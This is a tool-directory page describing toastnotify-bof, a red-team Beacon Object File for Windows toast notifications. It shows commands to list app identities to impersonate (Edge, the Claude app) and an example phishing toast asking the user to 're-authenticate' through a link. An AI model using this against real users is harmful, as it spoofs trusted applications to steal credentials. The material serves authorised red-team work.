Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
toastnotify-bof — abusing windows toast notifications for fun and user manipulation | Kitploit
Tools/GitHubGitHub/brmkit/toastnotify-bof
Information GatheringPost-ExploitationPhishingSocial EngineeringRed TeamingPayload Development
GitHubbrmkit/toastnotify-bof

toastnotify-bof

abusing windows toast notifications for fun and user manipulation

View Repository
106111 month agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

toastnotify-bof

A Beacon Object File (BOF) for sending Windows toast notifications. Pairs with the blog post for full context and use cases.

subcommands

getaumid

Enumerates AUMIDs (Application User Model IDs) registered on the system. Use this to find a suitable identity to borrow before sending a toast.

root@kitploit:~
inline-execute toastnotify.o go getaumid

Example output:

root@kitploit:~
[Notifications\Settings - HKCU]
  Microsoft.Windows.Explorer
  MSEdge
  com.squirrel.AnthropicClaude.claude
  ...
[Notifications\Settings - HKLM]
  ...
  com.squirrel.AnthropicClaude.claude
  ...

sendtoast

Sends a standard toast notification with a title and body text. Builds the XML internally using ToastGeneric.

root@kitploit:~
inline-execute toastnotify.o go sendtoast "MSEdge" "Title" "Notification body"

custom

Sends a toast from an arbitrary XML payload encoded in base64. This is where the interesting stuff happens with full template support: actions, protocol links, images, progress bars, selection inputs, hero images. And ther's an app for that!

root@kitploit:~
inline-execute toastnotify.o go custom "MSEdge" "<base64-encoded-xml>"

Example payload before encoding:

root@kitploit:~
<toast>
  <visual>
    <binding template="ToastGeneric">
      <text>Action Required</text>
      <text>Your session requires re-authentication. Click to continue.</text>
    </binding>
  </visual>
  <actions>
    <action content="Continue"
            activationType="protocol"
            arguments="https://your-page-here.com"/>
  </actions>
</toast>

Encode it and enjoy.

Download Tool